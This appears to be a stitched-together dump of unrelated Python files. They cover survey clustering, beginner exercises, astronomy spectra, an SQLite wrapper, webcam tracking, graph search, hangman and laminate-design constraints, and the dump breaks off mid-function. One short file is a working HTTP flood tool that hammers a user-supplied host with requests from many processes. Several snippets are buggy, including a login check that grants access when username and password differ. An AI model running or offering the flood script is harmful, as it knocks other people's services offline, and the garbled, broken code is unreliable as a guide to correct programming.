import pandas as pd

survey = pd.read_csv("masculinity.csv")
pd.set_option('display.max_rows', 500)
pd.set_option('display.max_columns', 500)
survey.head()

col_to_map = ["q0009"]

survey["q0009"] = survey["q0009"].map({"Employed, working full-time":0,
"Employed, working part-time":1,
"Not employed, student":2,
"Not employed-retired":3,
"Not employed, looking for work":4,
"Not employed, NOT looking for work":5})

print(survey["q0009"].value_counts())

my_plot = survey["q0009"].value_counts().plot(kind = "bar")

row_to_cluster = survey.dropna(subset = ["q0009"])
print(row_to_cluster["q0009"])

from sklearn.cluster import KMeans

classifier = KMeans(n_clusters = 2)

classifier.fit(row_to_cluster[["q0009"]])

print(classifier.cluster_centers_)

print(classifier.labels_)

cluster_zero_indices = []
cluster_one_indices = []

for i in range(len(classifier.labels_)):
    if(classifier.labels_[i] == 0):
        cluster_zero_indices.append(i)
    elif(classifier.labels_[i] == 1):
        cluster_one_indices.append(i)

print(cluster_zero_indices)

print(classifier.labels_)

cluster_zero_indices = []
cluster_one_indices = []

for i in range(len(classifier.labels_)):
    if(classifier.labels_[i] == 0):
        cluster_zero_indices.append(i)
    elif(classifier.labels_[i] == 1):
        cluster_one_indices.append(i)

print(cluster_zero_indices)


#Lista 03 refeita

#01 a 10
def adivinha(n):
    while n > 10:
        return 'Tente denovo'

#02 usuario e senha
def senha(u, s):
    if u != s:
        return 'Acesso permitido'
    else:
        return 'Acesso negado'

#03 Paises
a = 80000
b = 200000
tempo = 1
print(f'A população atual de A é {a}')
print(f'A população atual de b é {b}')
while a <= b:
    a = int(a + ((a * 0.03) * tempo))
    b = int(b + ((b * 0.015) * tempo))
    tempo = tempo + 1
print(f'''Em {tempo} anos a população de A será maior que B.
A população de A será {a} enquanto que a de B será {b}''')

#04 fibonacci
n = int(input('Insira um numero: '))
a = 0
b = 1
print(f'{a}, {b}', end='')
fib = 3
while fib <= n:
    c = a + b
    print(f', {c}', end='')
    a = b
    b = c
    fib = fib + 1

#05 euclides
x = int(input('Insira o primeiro numero: '))
y = int(input('Insira o segundo numero: '))
while x%y != 0:
    x, y = y, x%y
print('O mdc é %a' %y)


from astropy.io import fits
import glob
import operator
import numpy as np
from scipy.interpolate import interp1d
import astropy.constants as const
from specutils import Spectrum1D
import astropy.units as u
from astropy.convolution import convolve
from astropy.convolution import Gaussian1DKernel, Box1DKernel

files = glob.glob("ADP*.fits")
#Assume all files have same wavelength range and set up wavelength and data arrays from that
f=fits.open(files[0])
data=f[1].data
wave=data['WAVE'][0]
flux=data['FLUX'][0]
#Initiate total and running sum to zero
sum=flux*0
err=flux*0
totalerrsq=err
total=sum

nfiles=0
for file in glob.iglob("ADP*.fits"):
	f=fits.open(file)
	data=f[1].data
	header=f[0].header
	wave=data['WAVE'][0]
	flux=data['FLUX'][0]*1e16
	err=data['ERR'][0]*1e16
	total=total+flux
	totalerrsq=totalerrsq+err**2
	nfiles=nfiles+1

average=total/float(nfiles)
averr=np.sqrt(totalerrsq)

outfile=open("average.dat",'w+')
xcor=np.array([wave,average,averr])
xcor=xcor.T
np.savetxt(outfile,xcor,fmt=['%.5f','%.5f','%.5f'])
outfile.close()


# Make sure all sequences are uppercase and only contain ATGC
ABC123 = "ATCGTACGATCGATCGATCGCTAGACGTATCG"
def456 = "actgatcgacgatcgatcgatcacgact"
HIJ789 = "ACTGAC-ACTGT--ACTGTA----CATGTG"
DEF456 = def456.upper()
nHIJ789 = HIJ789.replace("-", "")
# create fasta file
a = str(ABC123)
d = str(DEF456)
h = str(nHIJ789)
f = open("single.fasta", "w")
f.write(">ABC123\n")
f.write(a + "\n")
f.write(">DEF456\n")
f.write(d +"\n")
f.write(">HIJ789\n")
f.write(h +"\n")
f.close()

Chapter3/Writing a FASTA file/Solution.py


import sqlite3
import logging

from typing import Optional, Dict, Any, List

class DatabaseError(Exception):
    pass

def toDBFilepath(guild_id: int) -> str:
    assert type(guild_id)
    return "db_" + str(guild_id) + ".db"

class Database:

    def __init__(self, database: str, isolation_level: Optional[str] = None):
        """ データベースオブジェクトを初期化する。

        Args:
            database (str): データベースのファイルアドレス
            isolation_level (str): トランザクションを構築するか. DEFERRED / IMMEDIATE / EXCLUSIVE / None
        """
        assert type(database), "invalid argument type, database=" + database
        assert database != ""
        self.__database: str = database
        self.__isolation_level: Optional[str] = isolation_level
        self.__connection: Optional[sqlite3.Connection] = None
        self.__logger: logging.Logger = logging.getLogger(self.__class__.__name__)

    def __enter__(self):
        self.__connection = sqlite3.connect(
            self.__database,
            isolation_level=self.__isolation_level,
            detect_types=sqlite3.PARSE_DECLTYPES | sqlite3.PARSE_COLNAMES)
        self.__connection.row_factory = sqlite3.Row
        sqlite3.dbapi2.converters['DATETIME'] = sqlite3.dbapi2.converters['TIMESTAMP']
        return self

    def __exit__(self, exception_type, exception_value, traceback):
        if exception_value:
            self.__connection.rollback()
        self.__connection.close()
        self.__connection = None

    def commit(self):
        """ データベースへの変更をコミットする
        """
        self.__connection.commit()

    @property
    def logger(self) -> logging.Logger:
        """ 基底で用意したロガーを取得する
        Returns:
            logging.Logger: ロガーインスタンス
        """
        return self.__logger

    @property
    def database(self) -> str:
        """ データベースのファイルパスを取得する
        Returns:
            str: データベースへのファイルパス
        """
        return self.__database

    @property
    def connection(self) -> Optional[sqlite3.Connection]:
        """ データベースコネクションを取得する

        データベースコネクションは、コンストラクタにて取得される

        Returns:
            sqlite3.Connection: データベースへのコネクション
        """
        return self.__connection

    def __execute(self, sql_text: str, bindee: Optional[list] = None, request_last_id: bool = False) -> list:
        """ データベースに対してsqlを実行する

        Args:
            sql_text (str): SQLクエリ
            bindee (Optional[list]): バインドする値. 空リストはAssertionError

        Exceptions:
            sqlite3.Error: データベースオペレーションでエラーがあった場合

        Returns:
            list: 取得結果が格納されたリスト
        """
        assert type(sql_text) is str
        assert type(bindee) is list if bindee is not None else True
        assert len(bindee) > 0 if bindee is not None else True

        ret: list = []
        try:
            if self.connection is None:
                raise DatabaseError("No Connection.")
            c = self.connection.cursor()
            if bindee is not None:
                self.logger.debug("Execute < %s [values=%s]", sql_text, ",".join([str(d) for d in bindee]))
                c.execute(sql_text, tuple(bindee))
            else:
                self.logger.debug("Execute < %s [With no value]", sql_text)
                c.execute(sql_text)

            ret = c.fetchall()  # Result Fetch
            self.logger.debug("Fetched > %d results.", len(ret))

            if request_last_id:
                ret.insert(0, c.lastrowid)

            c.close()

        except sqlite3.Error as e:
            self.logger.warning("Failed  > Error has occured. {}: {}".format(type(e), e))
            raise e  # Re-throw
        return ret

    def select(self, table: str, columns: List[str] = ["*"], condition: Dict[str, Any] = {}) -> list:
        """ データベースからデータを取得する基礎関数

        Args:
            table(str): テーブル名
            columns(List[str]): 取得したいカラム名
            condition(Dict[str, Any]): 条件

        Exceptions:
            sqlite3.Error: データベースオペレーションでエラーがあった場合

        Returns:
            list: 取得結果が格納されたリスト
        """
        assert type(table) is str, table
        assert type(condition) is dict
        assert table != ""

        sql: List[str] = ["SELECT"] + [", ".join(columns)] + ["FROM", table]
        bindee: Optional[List[Any]] = None

        if condition:
            bindee = []
            sql.append("WHERE")
            for cond_k, cond_v in condition.items():
                sql.append("{}=?".format(cond_k))
                bindee.append(cond_v)
                sql.append("AND")
            sql.pop()  # 一番最後のANDを削除

        return self.__execute(" ".join(sql), bindee)

    def search(self, table: str, columns: List[str] = ["*"], condition: Dict[str, Any] = {}) -> list:
        """ データベースからデータを検索する基礎関数

        Args:
            table(str): テーブル名
            columns(List[str]): 取得したいカラム名
            condition(Dict[str, Any]): 検索条件

        Exceptions:
            sqlite3.Error: データベースオペレーションでエラーがあった場合

        Returns:
            list: 取得結果が格納されたリスト
        """
        assert type(table) is str, table
        assert type(condition) is dict
        assert table != ""

        sql: List[str] = ["SELECT"] + [", ".join(columns)] + ["FROM", table]
        bindee: Optional[List[Any]] = None

        if condition:
            bindee = []
            sql.append("WHERE")
            for cond_k, cond_v in condition.items():
                sql.append("{} like ?".format(cond_k))
                bindee.append(cond_v)
                sql.append("AND")
            sql.pop()  # 一番最後のANDを削除

        return self.__execute(" ".join(sql), bindee)

    def insert(self, table: str, candidate: Dict[str, Any]) -> Optional[int]:
        """ データベースにデータを挿入する基礎関数

        Args:
            table(str): テーブル名
            candidate(Dict[str, Any]): カラム名とデータのペア

        Exceptions:
            sqlite3.Error: データベースオペレーションでエラーがあった場合
        """
        assert type(table) is str
        assert table != ""
        assert type(candidate) is dict
        assert len(candidate) > 0

        sql = ["INSERT", "INTO"]
        # sql = "INSERT INTO " + table + "("
        cols = []
        vals = []
        for cand_k, cand_v in candidate.items():
            cols.append(cand_k)
            vals.append(cand_v)

        sql.append("{}({})".format(table, ", ".join(cols)))
        sql.append("VALUES({})".format(", ".join("?" * len(vals))))
        return self.__execute(" ".join(sql), vals, request_last_id=True)[0]

    def update(self, table: str, candidate: Dict[str, Any], condition: Dict[str, Any] = {}) -> list:
        """ データベースを更新する基礎関数

        Args:
            table(str): テーブル名
            candidate(Dict[str, Any]): カラム名とデータのペア
            condition(Dict[str, Any]): 条件

        Exceptions:
            sqlite3.Error: データベースオペレーションでエラーがあった場合

        Returns:
            list: 取得結果が格納されたリスト
        """
        assert type(table) is str
        assert table != ""
        assert type(candidate) is dict
        assert len(candidate) > 0
        assert type(condition) is dict

        sql = ["UPDATE", table, "SET"]

        cols = []
        vals = []
        for cand_k, cand_v in candidate.items():
            cols.append(cand_k + "=?")
            vals.append(cand_v)
        sql.append(", ".join(cols))

        if condition:
            sql.append("WHERE")
            for cond_k, cond_v in condition.items():
                sql.append("`{}`=?".format(cond_k))
                vals.append(cond_v)
                sql.append("AND")
            sql.pop()  # 一番最後のANDを削除

        return self.__execute(" ".join(sql), vals)

    def insertOrReplace(self, table: str, candidate: Dict[str, Any]) -> list:
        """ データベースへ挿入・更新する基礎関数

        データが存在する場合は更新し、存在しない場合は挿入する。
        カラムにPrimary Key、もしくはUniqueが設定されている場合のみ有効。

        Args:
            table(str): テーブル名
            candidate(Dict[str, Any]): カラム名とデータのペア

        Exceptions:
            sqlite3.Error: データベースオペレーションでエラーがあった場合

        Returns:
            list: 取得結果が格納されたリスト
        """
        assert type(table) is str
        assert table != ""
        assert type(candidate) is dict
        assert len(candidate) > 0

        sql = ["INSERT", "OR", "REPLACE", "INTO"]
        cols = []
        vals = []
        for cand_k, cand_v in candidate.items():
            cols.append("'{}'".format(cand_k))
            vals.append(cand_v)

        sql.append("{}({})".format(table, ", ".join(cols)))
        sql.append("VALUES({})".format(", ".join("?" * len(vals))))
        return self.__execute(" ".join(sql), vals, request_last_id=True)

    def delete(self, table: str, condition: Dict[str, Any] = {}):
        """ データベースからデータを削除する基礎関数

        Args:
            table(str): テーブル名
            condition(Dict[str, Any]): 条件

        Exceptions:
            sqlite3.Error: データベースオペレーションでエラーがあった場合

        Returns:
            list: 取得結果が格納されたリスト
        """
        sql = ["DELETE", "FROM", table]
        bindee: Optional[list] = None

        if condition:
            bindee = []
            sql.append("WHERE")
            for cond_k, cond_v in condition.items():
                sql.append("`{}`=?".format(cond_k))
                bindee.append(cond_v)
                sql.append("AND")
            sql.pop()  # 一番最後のANDを削除

        return self.__execute(" ".join(sql), bindee)

    def getLastInsertedId(self) -> int:
        """ 直前に操作したレコードのIDを取得
        """
        return self.__cursor.lastrowid

    def closeCursor(self):
        if self.__cursor is not None:
            self.__cursor.close()
            self.__cursor = None


from __future__ import print_function
from threading import Thread
from multiprocessing import Pool, Process
import numpy as np
import datetime
import imutils
import cv2
#from time import sleep
import serial
import os

class FPS:
	def __init__(self):

		self._start = None
		self._end = None
		self.numFrames = 0

	def start(self):

		self._start = datetime.datetime.now()
		return self

	def stop(self):

		self._end = datetime.datetime.now()

	def update(self):

		self.numFrames += 1

	def elapsed(self):

		return (self._end - self._start).total_seconds()

	def fps(self):

		return self.numFrames / self.elapsed()

class WebcamVideoStream:
	def __init__(self, src = -1):

		self.stream = cv2.VideoCapture(src)
		(self.grabbed, self.frame) = self.stream.read()

		self.stopped = False

	def start(self):
		self.p = Process(target=self.update, args=())
		self.p.start()
		return self

	def update(self):
		while True:
			if self.stopped:
				return

			(self.grabbed, self.frame) = self.stream.read()

	def read(self):
		return self.frame

	def stop(self):
		self.stopped = True
		self.p.terminate()

def imageProcess(args):

	print('Running the function')
	frame = args[0]
	colorLower = args[1]
	colorUpper = args[2]
	gray = args[3]
	print('start processing')

	if not gray:
		#blurred = cv2.GaussianBlur(frame, (11, 11), 0)
		hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)

		mask = cv2.inRange(hsv, colorLower, colorUpper)
		mask = cv2.erode(mask, None, iterations=2)
		mask = cv2.dilate(mask, None, iterations=2)
		print("Processed image")
		return mask

	else:
		ret,mask = cv2.threshold(frame, 200, 255,cv2.THRESH_BINARY)
		mask = cv2.erode(mask, None, iterations=2)
		mask = cv2.dilate(mask, None, iterations=2)
		print("Processed image")
		return mask

def setArmState(mask, arm):

	state_list = [['0', '1'], ['2', '3']][arm]

	cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]
	center = None

	if len(cnts) > 0:

		c = max(cnts, key=cv2.contourArea)
		((x, y), radius) = cv2.minEnclosingCircle(c)
		M = cv2.moments(c)
		center = (int(M["m10"] / M["m00"]), int(M["m01"] / M["m00"]))

		if radius > 2:

			#cv2.circle(frame, (int(x), int(y)), int(radius), (0, 255, 255), 1)
			#cv2.imshow("Frame", frame)

			if center in set_on:
				state = state_list[0].encode()
				#ser.write(state)
				#cv2.circle(bg, center, 3, (255, 0, 255), -1)
			else:
				state = state_list[0].encode()
				#ser.write(state)

	else:
		state = "0".encode()
		#ser.write(state)

input_file = open("images/black.txt")
set_on = set()

for line in input_file:

    coordinate = line.strip().split(",")
    for i in range(2):
        coordinate[i] = int(coordinate[i])
    point = (coordinate[0], coordinate[1])
    set_on.add(point)

#print(len(set_on))

#HSV

#PURPLE
color1Lower = (120, 50, 50)
color1Upper = (160, 255, 255)

#RED
color2Lower = (0, 50, 100)
color2Upper = (10, 255, 255)

#white
color3Lower = (0, 0, 200)
color3Upper = (0, 0, 255)

"""

color2Lower = (10, 240, 240)
color2Upper = (11, 255, 255)

#BGR

color1Lower = (100, 30, 20)
color1Upper = (120, 50, 50)

color2Lower = (10, 240, 240)
color2Upper = (11, 255, 255)

"""
counter = 0
cp = None
state = '0'.encode()

#ser = serial.Serial('/dev/ttyACM0', 57600)

print("[INFO] sampling THREADED frames from webcam...")
vs = WebcamVideoStream().start()
fps = FPS().start()
bg = cv2.imread("images/bg.png")
cv2.imshow("Frame", bg)

if __name__ == '__main__':

	while True:

		masks = []
		print('Start')
		frame = vs.read()
		print('Read')
		p = Pool()
		print('created pool')
		masks = p.map(imageProcess, [[frame, color1Lower, color1Upper, False], [frame, color2Lower, color2Upper, False], [frame, color3Lower, color3Upper, True]])
		print('processed masks')
		p.close()
		print('close')
		p.join()
		print('join')

		setArmState(masks[0], 0)
		setArmState(masks[1], 1)

		'''
		cnts = cv2.findContours(masks[2].copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]
		center = None

		if len(cnts) > 0:
			for c in cnts:
			#c = max(cnts, key=cv2.contourArea)
				((x, y), radius) = cv2.minEnclosingCircle(c)
				M = cv2.moments(c)
				center = (int(M["m10"] / M["m00"])*2, int(M["m01"] / M["m00"])*2)

				if radius > 2:

					cv2.circle(bg, center, 2, (255, 255, 255), -1)
		'''

		key = cv2.waitKey(1) & 0xFF
		#cv2.imshow("purple", masks[0])
		#cv2.imshow("red", masks[1])
		#cv2.imshow("display", mask[2])
		if key == ord("q"):
			break

		if key == ord("c"):
			bg = cv2.imread("images/bg.png")
		fps.update()

		#if fps.numFrames > 10000:
		#	break

		print("I am done with one cycle")

fps.stop()
print("[INFO] elasped time: {:.2f}".format(fps.elapsed()))
print("[INFO] approx. FPS: {:.2f}".format(fps.fps()))

cv2.destroyAllWindows()
vs.stop()


# -*- coding: utf-8 -*-
List= {'A':['B','E','H'], 'B':['A','C','D','E'], 'C':['B','D','F'], 'D':['B','C','E'], 'E':['A','B','D'], 'F':['C','H'], 'G':[], 'H':['A','F']}
print(List.keys())
print(list(List.keys()))
print(List.values())

def find_all_paths(graph, start, end):
    path  = []
    paths = []
    queue = [(start, end, path)]
    while queue:
        start, end, path = queue.pop()
        path = path + [start]
        if start == end:
            paths.append(path)
        for node in set(graph[start]).difference(path):
            queue.append((node, end, path))
    return paths
print((find_all_paths(List,'E','H')))

def shortest_path(graph, start, end, path  = []):
    path = path + [start]
    if start == end:
            return path
    shortness=[]
    for node in graph[start]:
        if node not in path:
            newpath = shortest_path(graph,node,end,path)
            if newpath:
                if not shortness or len(newpath) < len(shortness):
                    shortness = newpath
    return shortness
print((shortest_path(List,'E','H')))


# coding: utf-8
from reports.reports_tree.report_mixin import ReportMixin
from reports.reports_tree.titles.mixed_cyrl_latn._base import BaseMixedCyrlLatn

class MixedCyrlLatnRedirects(ReportMixin, BaseMixedCyrlLatn):
    def before(self):
        super(MixedCyrlLatnRedirects, self).before()
        self.mixed_cyrl_latn_redirects = list()

    def process_mixin_check(self, title, redirect):
        super(MixedCyrlLatnRedirects, self).process_mixin_check(title, redirect)
        if ':' in title or not redirect:
            return
        if self.check_article(title):
            self.mixed_cyrl_latn_redirects.append((title, redirect))

    def after(self):
        content = u"""== Описание ==
Здесь представлены названия статей-редиректов, в которых содержится '''смесь латиницы и кириллицы'''.

Список исключений можно найти здесь: '''[[../Исключения|Исключения]]'''. <br/>
Это список также можно пополнять, и скрипт будет учитывать его при обновлении отчётов.

== Заголовки статей ==
"""
        content += self.gen_wikified_results(self.mixed_cyrl_latn_redirects)
        title = u'Ошибки/Название статьи/Смесь кириллицы и латиницы/Редиректы'
        count = len(self.mixed_cyrl_latn_redirects)
        self.process_report(title, content, count)
        super(MixedCyrlLatnRedirects, self).after()


import requests

URL = "http://watchout4snakes.com/wo4snakes/Random/RandomWordPlus"

def get_word():
    print("Looking for a word...")

    request_data = {
        "LastWord": "",
        "Pos": "n",
        "Level": "10"
    }

    response = requests.post(URL, request_data)
    return response.text

def play(word):
    tries_left = int(len(word) * 1.5)
    guessed = []

    while tries_left > 0:
        print(f"\nYou have {tries_left} tries left\n")
        print(" ".join([c if c in guessed else "_" for c in word]))

        while True:
            guess = input("\nEnter a character: ")
            if len(guess) == 1:
                guess = guess[0]
                break
            else:
                print("You can only guess one character at a time")

        if guess in word:
            guessed.append(guess)
        else:
            tries_left -= 1

        done = True

        for c in word:
            if c not in guessed:
                done = False

        if done:
            print(f"\nYou win! The word is '{word}'")
            return

    print(f"You lost! The word is '{word}'")

if __name__ == "__main__":
    try:
        word = get_word()
        play(word)

    except KeyboardInterrupt:
        print(f"The word was {word}")

    except requests.exceptions.RequestException:
        print(f"Can't connect to '{URL}'")


from typing import List

def reverseAWord(s: List[str], i: int, j: int) -> List[str]:
    while i < j:
        s[i], s[j] = s[j], s[i]
        i += 1
        j -= 1

def reverseByWord(s: str) -> str:
    s = list(str)
    i = 0
    j = len(s) - 1
    while i < j:
        s[i], s[j] = s[j], s[i]
        i += 1
        j -= 1

    i = 0
    for j, c in enumerate(s):
        if j == ' ':
            reverseAWord(s, i, j - 1)
            i = j

    return  ''.join(s)


# -*- coding: utf-8 -*-

import os
import tensorflow as tf
import threading
from tf_implement.a3c.a3c import ACNet
from tf_implement.a3c.worker import Worker
from env.arm_env import ArmEnv

def train():
    with tf.Session() as sess:
        coord = tf.train.Coordinator()
        with tf.device("/cpu:0"):
            opt_a = tf.train.RMSPropOptimizer(lr_a, name='RMSPropA')
            opt_c = tf.train.RMSPropOptimizer(lr_c, name='RMSPropC')
            global_ac = ACNet(sess, global_net_scope,
                              ns=ns, na=na, a_bound=a_bound,
                              opt_a=opt_a, opt_c=opt_c)  # we only need its params
            workers = []
            # Create worker
            for i in range(n_nets):
                i_name = 'W_%i' % i  # worker name
                workers.append(Worker(sess, coord=coord, env=env, name=i_name, ns=ns, na=na, a_bound=a_bound,
                                      gamma=gamma, max_ep_step=max_ep_step, max_global_ep=max_global_ep,
                                      update_global_iter=update_global_iter, entropy_beta=entropy_beta, opt_a=opt_a,
                                      opt_c=opt_c, ckpt_dir=ckpt_dir, global_ac=global_ac))

            sess.run(tf.global_variables_initializer())
            saver = tf.train.Saver()

            worker_threads = []
            for worker in workers:
                job = lambda: worker.work()
                t = threading.Thread(target=job)
                t.start()
                worker_threads.append(t)
            coord.join(worker_threads)

        print("saved model")
        saver.save(sess, os.path.join(ckpt_dir, "ckpt1", "model"))

if __name__ == "__main__":
    n_nets = 3
    MODE = ['easy', 'hard']
    env = ArmEnv(mode=MODE[1])
    ns = env.state_dim
    na = env.action_dim
    a_bound = env.action_bound
    global_net_scope = 'global_net'
    lr_a = 0.0001
    lr_c = 0.001
    gamma = 0.9
    max_ep_step = 300
    max_global_ep = 2000
    update_global_iter = 10
    entropy_beta = 0.01
    lr_a = 0.0001
    lr_c = 0.001
    ckpt_dir = os.path.curdir
    train()


import os
import re
import cv2
import json
import ipdb
from geosolver.diagram.parse_image_segments import parse_image_segments
from geosolver.diagram.parse_primitives import parse_primitives
from geosolver.diagram.select_primitives import select_primitives
from geosolver.diagram.parse_core import parse_core
from geosolver.diagram.parse_graph import parse_graph
from geosolver.diagram.get_instances import get_all_instances

from jpype import *
from try2 import GeometryImageParser

startJVM(getDefaultJVMPath(), "-ea",
        "-Djava.class.path=C:/Users/DM/Desktop/code/geo/Java-Geometry-Expert/out/artifacts/Java_Geometry_Expert_jar2/Java-Geometry-Expert.jar;"
        "-Djava.ext.dirs = C:/Users/DM/Desktop/code/geo/Java-Geometry-Expert/dependency",
        "-Xms1g","-Xmx1g")
Main2 = JClass('gprover.Main2')

def byteify(input):
    if isinstance(input, dict):
        return {byteify(key): byteify(value) for key, value in input.iteritems()}
    elif isinstance(input, list):
        return [byteify(element) for element in input]
    elif isinstance(input, unicode):
        return input.encode('utf-8')
    else:
        return input

def test_prover(problem_id):
    dir_path = "C:/Users/DM/Desktop/Junior Mathematics/"
    text_path = dir_path+"example_{}.txt".format(problem_id)
    diagram_path = dir_path+"example_{}.JPG".format(problem_id)
    positions_path = dir_path+"positions_{}.txt".format(problem_id)

    # parse the positions of image by geosolver
    gimg_parser = GeometryImageParser()
    ret = gimg_parser.parse_image(diagram_path)
    if not os.path.exists(positions_path):
        try:
            with open(positions_path, "w") as f:
                f.write(ret)
        except IOError as error:
            print(error)

    # prove the example by JGEX
    proof = Main2.parse_and_prove_problem(problem_id, 1)  # problem_id, out_mode
    print(proof)
    proof_steps = proof.strip().split("\n")
    for step in proof_steps:
        step_filtered = re.sub(r"(\(.*?\))", '', step)
        symbols = re.findall(r"([A-Z]+(?:[A-Z]+)+)", step_filtered)
        tuple_symbols = [tuple([s for s in symbol.encode("raw_unicode_escape")]) for symbol in symbols]
        print(step)
        if step.encode("raw_unicode_escape").find("\u2220") >= 0:
            gimg_parser.display_instances("angle", tuple_symbols)
        elif step.find("tri") >= 0:
            gimg_parser.display_instances("polygon", tuple_symbols)
        else:
            gimg_parser.display_instances("line", tuple_symbols)

if __name__ == "__main__":
    test_prover(3)


import numpy as np

class Dense:

    def __init__(self, num1, num2, learning_rate=0.01, bias=True):
        self.mt = 2/num1 * np.random.randn(num1, num2) # new weights according to Andrew Ng
        self.bias = np.zeros((1, num2))
        self.lr = learning_rate

    def forward(self, data, bias=True, prnt=False):
        self.x = data.copy()
        t = np.matmul(self.x, self.mt) + (self.bias if bias else 0)
        if prnt:
            print(t, 'dense')
        return t

    def backward(self, dz, bias=True):
        dWeights = np.outer(self.x, dz)
        dx = np.matmul(dz, self.mt.T)
        self.mt -= dWeights * self.lr

        if bias:
            self.bias -= dz * self.lr
        return dx


import socket
import multiprocessing

ip = input("\u001b[31murl : \u001b[0m")

th = int(input("\u001b[31menter thread(default-356) : \u001b[0m"))

re = "GET / HTTP/1.1\nHost:"+ip+"\r\n\r\n"

def att():
    s = socket.socket()
    s.connect((ip, 80))
    s.sendall(re.encode())
    s.recv(10000)
    s.close()
    print("\u001b[32msending...\u001b[0m")

def run():
    while True:
        att()

for _ in range(th):
    print("\u001b[33mBuilding package..\u001b[0m")
    t = multiprocessing.Process(target=run)
    t.start()


# -*- coding: utf-8 -*-
"""
Functions related to the contiguity constraint

- calc_penalty_contig_ss
    returns the total number of violations of the contiguity constraint
    in a stacking sequence

- calc_penalty_contig_mp
    returns the total number of violations of the contiguity constraint
    by a multipanel structure

- penalty_contig
    returns the penalty value associated to the contiguity constraint

- is_contig
    returns True if a panel stacking sequence does not have a block
    with too many adjacent plies at the same fibre direction

- calc_n_viola_contig
    returns the number of violations of the contiguity constraint in each panel
    of a laminate design

- calc_contig_vector
    returns the vector of violations of the contiguity constraint for a
    stacking sequence

- calc_matrix_viol_contig
    returns the matrix of violations of the contiguity constraint by a
    multipanel structure

    viola_contig[ind_panel, ind_ply] == 0 when the plies of indices
    {ind_ply, ind_ply + 1, ..., ind_ply + n_contig} does not violates the
    contiguity constraint

    viola_contig[ind_panel, ind_ply] == 2 when the plies of indices
    {ind_ply, ind_ply + 1, ..., ind_ply + n_contig} violate the contiguity
    constraint and also the plies of indices
    {ind_ply - 1, ind_ply, ..., ind_ply + n_contig - 1}

    viola_contig[ind_panel, ind_ply] == 1 when the plies of indices
    {ind_ply, ind_ply + 1, ..., ind_ply + n_contig} violate the contiguity
    constraint but not the plies of indices
    {ind_ply - 1, ind_ply, ..., ind_ply + n_contig - 1}
"""
__version__ = '1.0'
__author__ = 'Noemie Fedon'

import sys
import numpy as np

sys.path.append(r'C:\RELAY')
from src.constraints import Constraints

def penalty_contig(n, viola_contig=np.array(()), contig=False,
                   coeff_contig=1, norm_diso_contig=1):
    """
    returns the penalty value associated to the disorientation and contiguity
    constraints

    INPUTS

    - n: number of stacking sequences tested
    - contig if the contiguity constraint is active
    - viola_contig: matrix of violations of the contiguity constraint
    - coeff_diso: weight of the penalty for the cdisorientation constraint
    - norm_diso_contig: sum of the ply counts of each panel related to the
    current group of plies
    """
    if contig:
        return (coeff_contig * np.sum(
            viola_contig, axis=1)) / norm_diso_contig
    return np.zeros((n,), int)

def is_contig(ss, n_contig):
    """
    returns True if the stacking sequence ss does not have a block of more
    than n_contig adjacent plies at the same fibre direction

    INPUTS

    - ss: stacking sequence (array of ints)
    - n_contig: maximum number of adajcent plies with the same fibre
    orientation allowed (int)
    """
    n_plies = ss.size
    if n_contig < n_plies:
        diff = n_plies - n_contig
        if n_contig == 2:
            for ind in np.arange(diff):
                if ss[ind] == ss[ind + 1] \
                and ss[ind + 2] == ss[ind + 1]:
                    return False
        elif n_contig == 3:
            for ind in np.arange(diff):
                if ss[ind] == ss[ind + 1] \
                and ss[ind + 2] == ss[ind + 1] \
                and ss[ind + 3] == ss[ind + 1]:
                    return False
        elif n_contig == 4:
            for ind in np.arange(diff):
                if ss[ind] == ss[ind + 1] \
                and ss[ind + 2] == ss[ind + 1] \
                and ss[ind + 2] == ss[ind + 3] \
                and ss[ind] == ss[ind + 4]:
                    return False
        elif n_contig == 5:
            for ind in np.arange(diff):
                if ss[ind] == ss[ind + 1] \
                and ss[ind] == ss[ind + 2] \
                and ss[ind] == ss[ind + 3] \
                and ss[ind] == ss[ind + 4] \
                and ss[ind] == ss[ind + 5]:
                    return False
        elif n_contig == 6:
            for ind in np.arange(diff):
                if ss[ind] == ss[ind + 1] \
                and ss[ind] == ss[ind + 2] \
                and ss[ind] == ss[ind + 3] \
                and ss[ind] == ss[ind + 4] \
                and ss[ind] == ss[ind + 5] \
                and ss[ind] == ss[ind + 6]:
                    return False
        elif n_contig != 1:
            raise Exception('n_contig must be 2, 3, 4 or 5.')
    return True

def calc_n_viola_contig(
        mother_n_viola_contig, mother_ss_top, child_ss, n_panels, constraints,
        level, n_plies, pdl, middle_ply=False, reflexion=False,
        mother_ss_bot=None, last_level=False, odd_level=False):

    """
    returns the number of violations of the contiguity constraint in each panel
    of a laminate design

    INPUTS

    - mother_n_viola_contig: matrix of violations of the contiguity
    constraints by the mother node
    - mother_ss: mother stacking sequences
    - child_ss: possible fibre orientation for the new ply
    - level: level in the search tree
    - n_plies: number of plies in the group for the thickest panel
    - pdl: matrix of ply drops
    - n_panels: number of panels in the laminate structure
    - constraints: set of constraints
    - reflexion: true if the group is at the middle of a symmetric laminate
    - mother_ss_top: top stacking sequences of the incomplete laminate design
    - mother_ss_bot: bottom stacking sequence  of the incomplete laminate
    design
    - odd_level = True for a level of the beam search corresponding to a ply in
    the top of the laminate
    """
    n_viola_contig = np.copy(mother_n_viola_contig)

    ### last ply in asymmetric laminate
    if not constraints.sym and last_level:
        for ind_panel in range(n_panels):
            if pdl[ind_panel, level - 1] >= 0:
                new_stack = np.hstack((
                    mother_ss_top[ind_panel][-constraints.n_contig:],
                    np.array([child_ss[0]]),
                    mother_ss_bot[ind_panel][:constraints.n_contig]))
            else:
                new_stack = np.hstack((
                    mother_ss_top[ind_panel][-constraints.n_contig:],
                    mother_ss_bot[ind_panel][:constraints.n_contig]))
            vector = calc_contig_vector(new_stack, constraints.n_contig)
            n_viola_contig[ind_panel] += np.sum(vector)
        return n_viola_contig

    ### top
    if constraints.sym or not odd_level:

        if reflexion and last_level:
            for ind_panel in range(n_panels):
                if child_ss.size == 2 and pdl[ind_panel, level - 1] >= 0 \
                and pdl[ind_panel, level] >= 0:
                    new_stack = np.hstack((
                        mother_ss_top[ind_panel][-constraints.n_contig:],
                        np.array([child_ss[0]]),
                        np.array([child_ss[1]]),
                        np.array([child_ss[0]]),
                        np.flip(mother_ss_top[
                            ind_panel][-constraints.n_contig:], axis=0)))
                elif pdl[ind_panel, level - 1] >= 0:
                    new_stack = np.hstack((
